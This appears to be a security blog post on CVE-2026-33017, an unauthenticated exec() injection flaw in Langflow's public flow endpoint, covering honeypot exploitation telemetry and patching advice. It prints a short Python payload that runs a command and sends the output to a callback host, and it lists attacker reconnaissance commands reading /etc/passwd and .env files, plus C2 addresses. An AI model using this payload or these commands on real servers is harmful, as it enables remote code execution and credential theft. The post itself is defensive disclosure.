Twenty hours. That's the gap between the advisory dropping for CVE-2026-33017 and the first exploitation attempt hitting Sysdig's honeypots. No public proof-of-concept existed. Attackers read the advisory text, understood the vulnerability mechanism, and started scanning the internet with working exploits built from scratch.

If you're running Langflow — or any AI orchestration tool that accepts code input — this one demands your attention. Not because the bug is novel, but because Langflow already patched a nearly identical vulnerability last year and the underlying pattern survived.

The Vulnerability

CVE-2026-33017 (CVSS 9.3) targets a specific endpoint: POST /api/v1/build_public_tmp/{flow_id}/flow. This endpoint exists to let unauthenticated users build public flows — a feature, not a misconfiguration. The problem is what happens when you supply an optional data parameter.

Instead of loading the stored flow definition from the database, the server accepts whatever flow data the attacker sends. That data contains node definitions. Those node definitions contain Python code. And that Python code gets handed straight to exec() with no sandboxing, no allowlist, no restrictions whatsoever.

The attack payload is almost embarrassingly simple:

_r = __import__('os').popen('id').read()
_enc = __import__('base64').b64encode(_r.encode()).decode()
__import__('urllib.request').request.urlopen('http://<callback>//' + _enc)

One HTTP POST. One JSON body. Full remote code execution on the server. The endpoint is public by design, which means mass scanning is trivially automated — no authentication dance, no session tokens, no CSRF to work around.

A subtlety that makes this worse: the injected code executes during graph building, not during flow execution. ast.Assign nodes like _x = os.system("id") fire immediately when the server processes the flow definition. The flow never actually needs to "run."

Fool Me Twice

Here's where it gets frustrating. In 2025, Langflow patched CVE-2025-3248 — a code injection vulnerability in the /api/v1/validate/code endpoint. The fix was adding authentication to that endpoint. Problem solved, right?

Wrong. The fix was structurally incapable of preventing CVE-2026-33017 because the new vulnerable endpoint is designed to be unauthenticated. The team gated access on one surface while leaving the identical exec() mechanism exposed on a parallel code path. The dangerous function chain — accepting user input, extracting Python from node definitions, importing unrestricted modules via importlib.import_module(), executing via exec(compiled_code, exec_globals) — traverses roughly ten function calls from HTTP request to code execution. That chain existed in both endpoints.

The lesson is blunt: if you've patched a vulnerability class once, grep your entire codebase for the same pattern. Surface-level fixes at individual endpoints don't address architectural problems.

Who Showed Up and What They Did

Sysdig's telemetry reveals two distinct attacker profiles that emerged in sequence.

The scanners arrived first. Within 20-21 hours of disclosure, four IPs appeared running identical payloads with rotating interactsh callback subdomains. Their HTTP headers gave them away — Cookie: client_id=nuclei-scanner and User-Agent strings pulled from Nuclei's wordlist (names like "Knoppix" and "Fedora"). Someone had written a private Nuclei CVE template and distributed it fast. These operators were validating whether targets were vulnerable, not deploying payloads.

The operators followed. Between hours 21 and 30, a different class of attacker appeared using python-requests/2.32.3. These were methodical. One attacker at 83.98.164.238 progressed through a clear kill chain:

  1. Directory enumeration — ls -al /root; ls /app; cat /etc/passwd

  2. Environment variable dumps — harvesting database connection strings, API keys, cloud credentials

  3. Targeted file search — find /app -name "*.db" -o -name "*.env"

  4. Stage-2 deployment — pulling a bash dropper from pre-positioned infrastructure at 173.212.205.251:8443

No crypto miners. No ransomware. This was credential harvesting — quiet, targeted, and aimed at the API keys and cloud secrets that AI pipeline servers tend to accumulate. Two source IPs exfiltrated data to the same C2 server (143.110.183.86:8080), suggesting either shared tooling or a single operator using multiple proxies.

The Broader Pattern

Langflow isn't uniquely broken. The same class of vulnerability — unsandboxed code execution in AI orchestration tools — has been found in n8n and exists across multiple agent frameworks. These tools are built to be flexible, which means they're built to execute arbitrary code. That's the feature. It's also the attack surface.

The version 1.9.0 fix for Langflow removes the injectable data parameter entirely, forcing public flows to execute only their stored database configuration. That's the right architectural fix: don't sanitize dangerous input, eliminate the input vector.

What To Do

If you run Langflow: Update to 1.9.0 immediately. If you can't patch right now, block external access to /api/v1 at your WAF or firewall. Check your logs for POST requests to /api/v1/build_public_tmp/ with a data parameter — that's your indicator of compromise.

If you run any AI orchestration tool: Audit whether it accepts code input on unauthenticated endpoints. Treat these tools like you'd treat a Jenkins server — they execute code, so they belong behind authentication, network segmentation, and monitoring. Don't expose them to the internet.

If you're building AI tools: Stop using exec() on user-controlled input. If your tool genuinely needs to run user-supplied code, sandbox it — containers, gVisor, Firecracker, or at minimum a restricted Python execution environment with ast validation. The "let users run arbitrary Python" model doesn't survive contact with the internet.

CISA added CVE-2026-33017 to its Known Exploited Vulnerabilities catalog on March 25, requiring federal agencies to patch by April 8. The private sector doesn't get a deadline, but the attackers aren't waiting for one either.